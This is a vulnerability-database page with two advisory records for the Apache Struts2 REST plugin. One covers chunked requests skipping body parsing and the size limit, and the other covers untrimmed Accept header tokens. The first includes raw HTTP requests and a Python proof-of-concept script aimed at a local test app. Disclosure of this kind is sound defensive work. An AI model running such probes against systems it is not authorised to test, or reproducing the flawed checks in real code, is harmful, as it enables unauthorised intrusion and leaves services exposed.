Search

Find a vulnerability

Search criteria

    2 vulnerabilities found for Struts2 REST by Apache

    GCVE-1988-2026-0533

    Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47
    VLAI
    Title
    Apache Struts2 REST Plugin Fails to Properly Parse Chunked Requests
    Summary
    Description The Apache Struts2 REST Plugin's (version 7.4.0 and below) `ContentTypeInterceptor.intercept(ActionInvocation)` only deserialises a request body and enforces the `struts.rest.content.maxLength` bound when `HttpServletRequest#getContentLength()` returns a positive value. `getContentLength()` returns `-1` whenever the `Content-Length` header is absent, which normal and appropriate for any Hypertext Transfer Protocol (HTTP) request sent with `Transfer-Encoding: chunked`, so the entire body-processing branch -- including the bounded-reader size check -- is skipped for every such request. Impact Any client that sends a chunked-encoded request body causes the action to be invoked as though no body had been sent at all, with every body field silently left unbound and no exception, warning, or rejection raised to either the caller or the server logs. While a potentially minor or major detail, it is important to note that because the interceptor fails to parse the request body, the `struts.rest.content.maxLength` guard provides no protection whatsoever, as the `BoundedReader` that enforces it sits inside the branch that chunked requests never enter. An attacker can, as such, submit an arbitrarily large chunked body without the configured size ceiling ever being consulted, and any downstream logic that assumes a submitted field was bound -- default-initialisation checks, business validation keyed to a now-absent value, and the like -- will silently fall back to whatever behaviour applies when the field was never set. It is important to note that the downstream logic is application-specific and that your application may do something terribly wrong or may not depending on your specific code -- Apache's Struts2 REST Plugin merely introduces the unexpected pathway -- and that interceptor ordering, additional interceptors, etc., may cause the body to still be parsed and deserialised, only that the Apache Struts2 REST Plugin will not take part in such activities, which may further complicate the severity calculation (if, for example, data flows through the REST Plugin and then into a custom JSON deserialiser via another interceptor, the assumed "protections" of the REST Plugin would never have taken place and the default path of your code may assume an INDEX or similar request). Examples Sample Code `intercept(ActionInvocation)` guards the entire body-deserialisation and size-enforcement block on `request.getContentLength() > 0`, so a chunked request -- for which `getContentLength()` legitimately returns `-1` -- falls straight through to `invocation.invoke()` with the body never read. ```java public String intercept(ActionInvocation invocation) throws Exception { HttpServletRequest request = ServletActionContext.getRequest(); ContentTypeHandler handler = selector.getHandlerForRequest(request); Object target = invocation.getAction(); if (target instanceof ModelDriven) { target = ((ModelDriven<?>) target).getModel(); } if (request.getContentLength() > 0) { BoundedReader reader = new BoundedReader(openBodyReader(request), maxLength); try { applyRequestBody(invocation, handler, target, reader); } catch (Exception e) { if (reader.limitExceeded()) { throw requestBodyTooLarge(); } throw e; } if (reader.limitExceeded()) { throw requestBodyTooLarge(); } } return invocation.invoke(); } ``` Code snippet from `struts2-rest-plugin`'s plugins/rest/src/main/java/org/apache/struts2/rest/ContentTypeInterceptor.java, lines 114-138, with line 123's `if (request.getContentLength() > 0)` gating both `applyRequestBody()` and every `BoundedReader`/`maxLength` check; nothing in this method, or any upstream code, separately inspects `Transfer-Encoding` and handles chunked encoding Sample Dynamic Testing The following was against the rest-showcase codebase, running Struts 7.5.0-SNAPSHOT, built on 28 October 2026. The first, an ordinary `Content-Length`-bearing submission, correctly binds `clientName` and creates a new order. The second, a byte-identical JavaScript Object Notation (JSON) body sent with `Transfer-Encoding: chunked` and no `Content-Length` header, is never bound onto the model at all -- `validate()` fires against `clientName`'s untouched Java default and the action rejects the request with only the ordinary field-validation error a caller would see for a genuinely empty submission. Importantly, how the information system behaves is dependent on the information system, itself, so while the rest-showcase example behaves as such, yours may do something considerably worse. ```http POST /rest-showcase/orders HTTP/1.1 Host: 127.0.0.1:8383 Content-Type: application/json Accept: application/json Content-Length: 47 {"clientName":"CalibrationNormal","amount":11} ``` Request -- an ordinary, `Content-Length`-bearing submission ```http HTTP/1.1 201 Location: http://127.0.0.1:8383/rest-showcase/orders/6 ``` Response -- `201`; the order is created with `clientName` correctly bound from the submitted body ```http POST /rest-showcase/orders HTTP/1.1 Host: 127.0.0.1:8383 Content-Type: application/json Accept: application/json Transfer-Encoding: chunked 2f\r {"clientName":"CalibrationChunked","amount":22}\r 0\r \r ``` Request -- the byte-identical JavaScript Object Notation (JSON) body, now sent with `Transfer-Encoding: chunked` and without a `Content-Length` header ```http HTTP/1.1 400 Content-Type: application/json;charset=UTF-8 {"actionErrors":[],"fieldErrors":{"clientName":["The client name is empty"]}} ``` Response -- `400`; `clientName` was never bound, so `validate()` rejects the request as though an empty body had been submitted with no indication that the chunked encoding itself was the cause; a subsequent `GET /rest-showcase/orders.json` confirms that no order named `CalibrationChunked` was ever created whilst the first request's `CalibrationNormal` order (`id: 6`) is present Steps to Reproduce Run the following self-contained script against a running rest-showcase deployment. It creates one order via an ordinary request, attempts to create a second via a chunked request, confirms the chunked attempt was never bound, and cleans up the one order it legitimately created, independently re-verifying the cleanup succeeded. ```python #!/usr/bin/env python3 """Standalone reproduction for "`Content-Length` Guard Skips Chunked Request Body Processing" against the struts2-rest-plugin's ContentTypeInterceptor, exercised live through rest-showcase's OrdersController. Requires `pip install requests`. """ import sys import time import requests BASE_URL = "http://127.0.0.1:8383/rest-showcase"; def chunked_body(payload: bytes): # A generator body forces requests/urllib3 to send Transfer-Encoding: # chunked with no Content-Length header at all -- the standard # mechanism several HTTP client libraries use for streamed bodies yield payload def list_order_ids() -> set: response = requests.get(f"{BASE_URL}/orders.json", timeout=20) response.raise_for_status() return {order["id"] for order in response.json()} def main() -> bool: marker = str(int(time.time() * 1000)) normal_name = f"ChunkedGuardNormal-{marker}" chunked_name = f"ChunkedGuardChunked-{marker}" baseline_ids = list_order_ids() print(f"baseline order ids: {sorted(baseline_ids)}") # 1) Ordinary, Content-Length-bearing POST -- the control case normal_body = f'{{"clientName":"{normal_name}","amount":11}}'.encode("utf-8") normal_response = requests.post( f"{BASE_URL}/orders", data=normal_body, headers={"Content-Type": "application/json", "Accept": "application/json"}, timeout=20, ) print(f"normal POST -> HTTP {normal_response.status_code}, " f"Location={normal_response.headers.get('Location')}") after_normal_ids = list_order_ids() created_ids = after_normal_ids - baseline_ids normal_created = normal_response.status_code == 201 and len(created_ids) == 1 if not normal_created: print("FAIL: the control (Content-Length) request did not create an order as expected") return False created_id = created_ids.pop() print(f"control request created order {created_id} ({normal_name}) -- binding works normally") # 2) Byte-identical JSON, sent via a generator body chunked_payload = f'{{"clientName":"{chunked_name}","amount":22}}'.encode("utf-8") chunked_response = requests.post( f"{BASE_URL}/orders", data=chunked_body(chunked_payload), headers={"Content-Type": "application/json", "Accept": "application/json"}, timeout=20, ) sent_headers = chunked_response.request.headers print(f"chunked POST -> HTTP {chunked_response.status_code}") print(f"outbound request headers: Transfer-Encoding={sent_headers.get('Transfer-Encoding')}, " f"Content-Length={sent_headers.get('Content-Length')}") after_chunked_ids = list_order_ids() chunked_created = len(after_chunked_ids - after_normal_ids) > 0 vulnerable = ( sent_headers.get("Transfer-Encoding") == "chunked" and "Content-Length" not in sent_headers and chunked_response.status_code == 400 and not chunked_created ) if vulnerable: print(f"VULNERABLE: the chunked request's body was never bound onto the model -- " f"OrdersController.validate() rejected it with HTTP {chunked_response.status_code} " f"({chunked_response.json()}), and no order named {chunked_name!r} was ever created, " f"even though the byte-identical body succeeded moments earlier when sent with " f"Content-Length instead.") else: print("did not reproduce") # Cleanup: remove the one order this script legitimately created, then # independently re-verify the cleanup actually took effect. The chunked # request never created anything, so there is nothing to delete for it delete_response = requests.delete(f"{BASE_URL}/orders/{created_id}", timeout=20) print(f"cleanup: DELETE /orders/{created_id} -> HTTP {delete_response.status_code}") final_ids = list_order_ids() if created_id in final_ids: print(f"WARNING: cleanup did not remove order {created_id}; remove it manually") else: print(f"cleanup verified: order {created_id} no longer present (back to baseline)") return vulnerable if __name__ == "__main__": sys.exit(0 if main() else 1) ``` _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Assigner
    VULNARCHIVE GNA GNA-1988
    GNA scorecard E 38/100 over 581 records in the last 180 days details
    Impacted products
    Vendor Product Version
    Apache Struts2 REST Affected: unknown
    Create a notification for this product.

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "product": "Struts2 REST",
              "vendor": "Apache",
              "versions": [
                {
                  "status": "affected",
                  "version": "unknown"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Daniel Owens via Fulldisclosure"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Description\nThe Apache Struts2 REST Plugin\u0027s (version 7.4.0 and below) `ContentTypeInterceptor.intercept(ActionInvocation)` only \ndeserialises a request body and enforces the `struts.rest.content.maxLength` bound when \n`HttpServletRequest#getContentLength()` returns a positive value.  `getContentLength()` returns `-1` whenever the \n`Content-Length` header is absent, which normal and appropriate for any Hypertext Transfer Protocol (HTTP) request sent \nwith `Transfer-Encoding: chunked`, so the entire body-processing branch -- including the bounded-reader size check -- \nis skipped for every such request.\n\nImpact\nAny client that sends a chunked-encoded request body causes the action to be invoked as though no body had been sent at \nall, with every body field silently left unbound and no exception, warning, or rejection raised to either the caller or \nthe server logs.  While a potentially minor or major detail, it is important to note that because the interceptor fails \nto parse the request body, the `struts.rest.content.maxLength` guard provides no protection whatsoever, as the \n`BoundedReader` that enforces it sits inside the branch that chunked requests never enter.  An attacker can, as such, \nsubmit an arbitrarily large chunked body without the configured size ceiling ever being consulted, and any downstream \nlogic that assumes a submitted field was bound -- default-initialisation checks, business validation keyed to a \nnow-absent value, and the like -- will silently fall back to whatever behaviour applies when the field was never set.  \nIt is important to note that the downstream logic is application-specific and that your application may do something \nterribly wrong or may not depending on your specific code -- Apache\u0027s Struts2 REST Plugin merely introduces the \nunexpected pathway -- and that interceptor ordering, additional interceptors, etc., may cause the body to still be \nparsed and deserialised, only that the Apache Struts2 REST Plugin will not take part in such activities, which may \nfurther complicate the severity calculation (if, for example, data flows through the REST Plugin and then into a custom \nJSON deserialiser via another interceptor, the assumed \"protections\" of the REST Plugin would never have taken place \nand the default path of your code may assume an INDEX or similar request).\n\nExamples\nSample Code\n`intercept(ActionInvocation)` guards the entire body-deserialisation and size-enforcement block on \n`request.getContentLength() \u003e 0`, so a chunked request -- for which `getContentLength()` legitimately returns `-1` -- \nfalls straight through to `invocation.invoke()` with the body never read.\n\n```java\n    public String intercept(ActionInvocation invocation) throws Exception {\n        HttpServletRequest request = ServletActionContext.getRequest();\n        ContentTypeHandler handler = selector.getHandlerForRequest(request);\n\n        Object target = invocation.getAction();\n        if (target instanceof ModelDriven) {\n            target = ((ModelDriven\u003c?\u003e) target).getModel();\n        }\n\n        if (request.getContentLength() \u003e 0) {\n            BoundedReader reader = new BoundedReader(openBodyReader(request), maxLength);\n            try {\n                applyRequestBody(invocation, handler, target, reader);\n            } catch (Exception e) {\n                if (reader.limitExceeded()) {\n                    throw requestBodyTooLarge();\n                }\n                throw e;\n            }\n            if (reader.limitExceeded()) {\n                throw requestBodyTooLarge();\n            }\n        }\n        return invocation.invoke();\n    }\n```\nCode snippet from `struts2-rest-plugin`\u0027s \nplugins/rest/src/main/java/org/apache/struts2/rest/ContentTypeInterceptor.java, lines 114-138, with line 123\u0027s `if \n(request.getContentLength() \u003e 0)` gating both `applyRequestBody()` and every `BoundedReader`/`maxLength` check; nothing \nin this method, or any upstream code, separately inspects `Transfer-Encoding` and handles chunked encoding\n\nSample Dynamic Testing\nThe following was against the rest-showcase codebase, running Struts 7.5.0-SNAPSHOT, built on 28 October 2026.  The \nfirst, an ordinary `Content-Length`-bearing submission, correctly binds `clientName` and creates a new order.  The \nsecond, a byte-identical JavaScript Object Notation (JSON) body sent with `Transfer-Encoding: chunked` and no \n`Content-Length` header, is never bound onto the model at all -- `validate()` fires against `clientName`\u0027s untouched \nJava default and the action rejects the request with only the ordinary field-validation error a caller would see for a \ngenuinely empty submission.  Importantly, how the information system behaves is dependent on the information system, \nitself, so while the rest-showcase example behaves as such, yours may do something considerably worse.\n\n```http\nPOST /rest-showcase/orders HTTP/1.1\nHost: 127.0.0.1:8383\nContent-Type: application/json\nAccept: application/json\nContent-Length: 47\n\n{\"clientName\":\"CalibrationNormal\",\"amount\":11}\n```\nRequest -- an ordinary, `Content-Length`-bearing submission\n\n```http\nHTTP/1.1 201\nLocation: http://127.0.0.1:8383/rest-showcase/orders/6\n```\nResponse -- `201`; the order is created with `clientName` correctly bound from the submitted body\n\n```http\nPOST /rest-showcase/orders HTTP/1.1\nHost: 127.0.0.1:8383\nContent-Type: application/json\nAccept: application/json\nTransfer-Encoding: chunked\n\n2f\\r\n{\"clientName\":\"CalibrationChunked\",\"amount\":22}\\r\n0\\r\n\\r\n\n```\nRequest -- the byte-identical JavaScript Object Notation (JSON) body, now sent with `Transfer-Encoding: chunked` and \nwithout a `Content-Length` header\n\n```http\nHTTP/1.1 400\nContent-Type: application/json;charset=UTF-8\n\n{\"actionErrors\":[],\"fieldErrors\":{\"clientName\":[\"The client name is empty\"]}}\n```\nResponse -- `400`; `clientName` was never bound, so `validate()` rejects the request as though an empty body had been \nsubmitted with no indication that the chunked encoding itself was the cause; a subsequent `GET \n/rest-showcase/orders.json` confirms that no order named `CalibrationChunked` was ever created whilst the first \nrequest\u0027s `CalibrationNormal` order (`id: 6`) is present\n\nSteps to Reproduce\nRun the following self-contained script against a running rest-showcase deployment. It creates one order via an \nordinary request, attempts to create a second via a chunked request, confirms the chunked attempt was never bound, and \ncleans up the one order it legitimately created, independently re-verifying the cleanup succeeded.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Standalone reproduction for \"`Content-Length` Guard Skips Chunked Request\nBody Processing\" against the struts2-rest-plugin\u0027s ContentTypeInterceptor,\nexercised live through rest-showcase\u0027s OrdersController.\n\nRequires `pip install requests`.\n\"\"\"\nimport sys\nimport time\nimport requests\n\nBASE_URL = \"http://127.0.0.1:8383/rest-showcase\";\n\n\ndef chunked_body(payload: bytes):\n    # A generator body forces requests/urllib3 to send Transfer-Encoding:\n    # chunked with no Content-Length header at all -- the standard\n    # mechanism several HTTP client libraries use for streamed bodies\n    yield payload\n\n\ndef list_order_ids() -\u003e set:\n    response = requests.get(f\"{BASE_URL}/orders.json\", timeout=20)\n    response.raise_for_status()\n    return {order[\"id\"] for order in response.json()}\n\n\ndef main() -\u003e bool:\n    marker = str(int(time.time() * 1000))\n    normal_name = f\"ChunkedGuardNormal-{marker}\"\n    chunked_name = f\"ChunkedGuardChunked-{marker}\"\n\n    baseline_ids = list_order_ids()\n    print(f\"baseline order ids: {sorted(baseline_ids)}\")\n\n    # 1) Ordinary, Content-Length-bearing POST -- the control case\n    normal_body = f\u0027{{\"clientName\":\"{normal_name}\",\"amount\":11}}\u0027.encode(\"utf-8\")\n    normal_response = requests.post(\n        f\"{BASE_URL}/orders\",\n        data=normal_body,\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n        timeout=20,\n    )\n    print(f\"normal POST -\u003e HTTP {normal_response.status_code}, \"\n          f\"Location={normal_response.headers.get(\u0027Location\u0027)}\")\n\n    after_normal_ids = list_order_ids()\n    created_ids = after_normal_ids - baseline_ids\n    normal_created = normal_response.status_code == 201 and len(created_ids) == 1\n    if not normal_created:\n        print(\"FAIL: the control (Content-Length) request did not create an order as expected\")\n        return False\n    created_id = created_ids.pop()\n    print(f\"control request created order {created_id} ({normal_name}) -- binding works normally\")\n\n    # 2) Byte-identical JSON, sent via a generator body\n    chunked_payload = f\u0027{{\"clientName\":\"{chunked_name}\",\"amount\":22}}\u0027.encode(\"utf-8\")\n    chunked_response = requests.post(\n        f\"{BASE_URL}/orders\",\n        data=chunked_body(chunked_payload),\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n        timeout=20,\n    )\n    sent_headers = chunked_response.request.headers\n    print(f\"chunked POST -\u003e HTTP {chunked_response.status_code}\")\n    print(f\"outbound request headers: Transfer-Encoding={sent_headers.get(\u0027Transfer-Encoding\u0027)}, \"\n          f\"Content-Length={sent_headers.get(\u0027Content-Length\u0027)}\")\n\n    after_chunked_ids = list_order_ids()\n    chunked_created = len(after_chunked_ids - after_normal_ids) \u003e 0\n\n    vulnerable = (\n        sent_headers.get(\"Transfer-Encoding\") == \"chunked\"\n        and \"Content-Length\" not in sent_headers\n        and chunked_response.status_code == 400\n        and not chunked_created\n    )\n\n    if vulnerable:\n        print(f\"VULNERABLE: the chunked request\u0027s body was never bound onto the model -- \"\n              f\"OrdersController.validate() rejected it with HTTP {chunked_response.status_code} \"\n              f\"({chunked_response.json()}), and no order named {chunked_name!r} was ever created, \"\n              f\"even though the byte-identical body succeeded moments earlier when sent with \"\n              f\"Content-Length instead.\")\n    else:\n        print(\"did not reproduce\")\n\n    # Cleanup: remove the one order this script legitimately created, then\n    # independently re-verify the cleanup actually took effect. The chunked\n    # request never created anything, so there is nothing to delete for it\n    delete_response = requests.delete(f\"{BASE_URL}/orders/{created_id}\", timeout=20)\n    print(f\"cleanup: DELETE /orders/{created_id} -\u003e HTTP {delete_response.status_code}\")\n    final_ids = list_order_ids()\n    if created_id in final_ids:\n        print(f\"WARNING: cleanup did not remove order {created_id}; remove it manually\")\n    else:\n        print(f\"cleanup verified: order {created_id} no longer present (back to baseline)\")\n\n    return vulnerable\n\n\nif __name__ == \"__main__\":\n    sys.exit(0 if main() else 1)\n```\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-02T09:47:24Z",
            "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
            "shortName": "VULNARCHIVE"
          },
          "references": [
            {
              "tags": [
                "technical-description",
                "exploit"
              ],
              "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/2"
            },
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://seclists.org/fulldisclosure/2026/Nov/2"
            },
            {
              "url": "http://127.0.0.1:8383/rest-showcase\""
            },
            {
              "url": "http://127.0.0.1:8383/rest-showcase/orders/6"
            },
            {
              "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
            },
            {
              "url": "https://seclists.org/fulldisclosure/"
            }
          ],
          "source": {
            "defect": [
              "https://seclists.org/fulldisclosure/2026/Nov/2"
            ],
            "discovery": "EXTERNAL"
          },
          "title": "Apache Struts2 REST Plugin Fails to Properly Parse Chunked Requests",
          "x_gcve": [
            {
              "recordType": "advisory",
              "relationships": [],
              "vulnId": "GCVE-1988-2026-0533",
              "x_vulnarchive": {
                "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/2",
                "automated": true,
                "contentSha256": "8f6753a8aad7f798915cc4a0a38ded4cd58be4ff1b288a1022888e2be7867676",
                "evidenceScore": 9,
                "messageId": "",
                "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/2",
                "policy": "vulnarchive-1",
                "sourceFormat": "text/html",
                "sourcePublishedAt": "2026-10-29T12:33:43Z"
              }
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "assignerShortName": "VULNARCHIVE",
        "datePublished": "2026-11-02T09:47:24Z",
        "dateUpdated": "2026-11-02T09:47:24Z",
        "state": "PUBLISHED",
        "vulnId": "GCVE-1988-2026-0533"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    GCVE-1988-2026-0480

    Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
    VLAI
    Title
    Apache Struts2 REST Plugin Untrimmed `Accept` Header Tokens Break Content Negation Fallback
    Summary
    Description The Apache Struts2 REST Plugin's `DefaultContentTypeHandlerManager.getHandlerForResponse(HttpServletRequest, HttpServletResponse)` splits the `Accept` header on commas and passes each resulting token directly to `findHandler(String)` without trimming leading or trailing whitespace. `findHandler(String)` only retries a trimmed lookup when a token contains a semicolon (`;`), so a token that merely carries a leading space has no such fallback and fails the direct map lookup. Impact Any client that sends a standard, comma-space-separated `Accept` header -- the typical of most Hypertext Transfer Protocol (HTTP) client libraries -- triggers this. As the lookup fails silently, `getHandlerForResponse()` falls through to the `defaultExtension` handler instead of the content type the caller actually requested, silently returning a representation that the client neither asked for nor can necessarily parse. In deployments that rely on content negotiation to select between differently-scoped representations of the same resource -- such as a minimal public representation served as the default extension against a fuller representation only intended for a specific, explicitly-requested type -- this fallback can cause the wrong representation to be returned, degrading interoperability and, where the two representations differ in which fields they expose, create a data-exposure vulnerability (insecure serialisation). While attackers cannot choose the default representation, they can abuse this to search for insecure serialisation, data exposures, and similar information disclosure issues, as well as to see if there is a difference between various representations and the default. Importantly, the default representation and ensuing serialisation library can be used against the information system (a trivial task). Examples Sample Code `getHandlerForResponse(HttpServletRequest, HttpServletResponse)` splits the raw `Accept` header on commas and sends each token to `findHandler(String)`, whose direct map lookup only has a trimming fallback when the token contains a semicolon, as shown below. ```java /** * Gets the handler for the response by looking at the extension of the request * @param request The request * @return The appropriate handler * * WW-4588: modified to get a handler for the response side and auto generate the response type * from the Accept: header * */ @Override public ContentTypeHandler getHandlerForResponse(HttpServletRequest request, HttpServletResponse res) { String extension = getExtensionIfPresent(request.getRequestURI()); if (extension == null) { extension = defaultExtension; final String acceptHeader = request.getHeader("accept") ; if (acceptHeader != null) { final String[] types = acceptHeader.split(","); for (final String type : types) { final ContentTypeHandler handler = findHandler(type); if (handler != null) { return handler; } } } } return handlersByExtension.get(extension); } private ContentTypeHandler findHandler(final String type) { ContentTypeHandler handler = handlersByContentType.get(type); if (handler == null) { // strip off encoding and search again (e.g., application/json;charset=ISO-8859-1) final int index = type.indexOf(';'); if (index != -1) { return handlersByContentType.get(type.substring(0, index).trim()); } } return handler; } ``` Code snippet from `struts2-rest-plugin`'s plugins/rest/src/main/java/org/apache/struts2/rest/DefaultContentTypeHandlerManager.java, lines 128-158 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Assigner
    VULNARCHIVE GNA GNA-1988
    GNA scorecard E 38/100 over 581 records in the last 180 days details
    Impacted products
    Vendor Product Version
    Apache Struts2 REST Affected: unknown
    Create a notification for this product.

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "product": "Struts2 REST",
              "vendor": "Apache",
              "versions": [
                {
                  "status": "affected",
                  "version": "unknown"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Daniel Owens via Fulldisclosure"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Description\nThe Apache Struts2 REST Plugin\u0027s `DefaultContentTypeHandlerManager.getHandlerForResponse(HttpServletRequest, \nHttpServletResponse)` splits the `Accept` header on commas and passes each resulting token directly to \n`findHandler(String)` without trimming leading or trailing whitespace.  `findHandler(String)` only retries a trimmed \nlookup when a token contains a semicolon (`;`), so a token that merely carries a leading space has no such fallback and \nfails the direct map lookup.\n\nImpact\nAny client that sends a standard, comma-space-separated `Accept` header -- the typical of most Hypertext Transfer \nProtocol (HTTP) client libraries -- triggers this.  As the lookup fails silently, `getHandlerForResponse()` falls \nthrough to the `defaultExtension` handler instead of the content type the caller actually requested, silently returning \na representation that the client neither asked for nor can necessarily parse.  In deployments that rely on content \nnegotiation to select between differently-scoped representations of the same resource -- such as a minimal public \nrepresentation served as the default extension against a fuller representation only intended for a specific, \nexplicitly-requested type -- this fallback can cause the wrong representation to be returned, degrading \ninteroperability and, where the two representations differ in which fields they expose, create a data-exposure \nvulnerability (insecure serialisation).  While attackers cannot choose the default representation, they can abuse this \nto search for insecure serialisation, data exposures, and similar information disclosure issues, as well as to see if \nthere is a difference between various representations and the default.  Importantly, the default representation and \nensuing serialisation library can be used against the information system (a trivial task).\n\nExamples\nSample Code\n`getHandlerForResponse(HttpServletRequest, HttpServletResponse)` splits the raw `Accept` header on commas and sends \neach token to `findHandler(String)`, whose direct map lookup only has a trimming fallback when the token contains a \nsemicolon, as shown below.\n\n```java\n    /**\n     * Gets the handler for the response by looking at the extension of the request\n     * @param request The request\n     * @return The appropriate handler\n     *\n     * WW-4588: modified to get a handler for the response side and auto generate the response type\n     * from the Accept: header\n     *\n     */\n    @Override\n    public ContentTypeHandler getHandlerForResponse(HttpServletRequest request, HttpServletResponse res) {\n\n        String extension = getExtensionIfPresent(request.getRequestURI());\n        if (extension == null) {\n            extension = defaultExtension;\n            final String acceptHeader = request.getHeader(\"accept\") ;\n            if (acceptHeader != null) {\n                final String[] types = acceptHeader.split(\",\");\n                for (final String type : types) {\n                    final ContentTypeHandler handler = findHandler(type);\n                    if (handler != null) {\n                        return handler;\n                    }\n                }\n            }\n        }\n        return handlersByExtension.get(extension);\n    }\n\n    private ContentTypeHandler findHandler(final String type) {\n        ContentTypeHandler handler = handlersByContentType.get(type);\n        if (handler == null) {\n            // strip off encoding and search again (e.g., application/json;charset=ISO-8859-1)\n            final int index = type.indexOf(\u0027;\u0027);\n            if (index != -1) {\n                return handlersByContentType.get(type.substring(0, index).trim());\n            }\n        }\n        return handler;\n    }\n```\nCode snippet from `struts2-rest-plugin`\u0027s \nplugins/rest/src/main/java/org/apache/struts2/rest/DefaultContentTypeHandlerManager.java, lines 128-158\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-02T07:30:01Z",
            "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
            "shortName": "VULNARCHIVE"
          },
          "references": [
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/1"
            },
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://seclists.org/fulldisclosure/2026/Nov/1"
            },
            {
              "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
            },
            {
              "url": "https://seclists.org/fulldisclosure/"
            }
          ],
          "source": {
            "defect": [
              "https://seclists.org/fulldisclosure/2026/Nov/1"
            ],
            "discovery": "EXTERNAL"
          },
          "title": "Apache Struts2 REST Plugin Untrimmed `Accept` Header Tokens Break Content Negation Fallback",
          "x_gcve": [
            {
              "recordType": "advisory",
              "relationships": [],
              "vulnId": "GCVE-1988-2026-0480",
              "x_vulnarchive": {
                "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/1",
                "automated": true,
                "contentSha256": "39a913e28fcd0c859fde13fe06055f1a775142c59150158b86380e5e9bc1c461",
                "evidenceScore": 7,
                "messageId": "",
                "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/1",
                "policy": "vulnarchive-1",
                "sourceFormat": "text/html",
                "sourcePublishedAt": "2026-10-29T11:34:48Z"
              }
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "assignerShortName": "VULNARCHIVE",
        "datePublished": "2026-11-02T07:30:01Z",
        "dateUpdated": "2026-11-02T07:30:01Z",
        "state": "PUBLISHED",
        "vulnId": "GCVE-1988-2026-0480"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }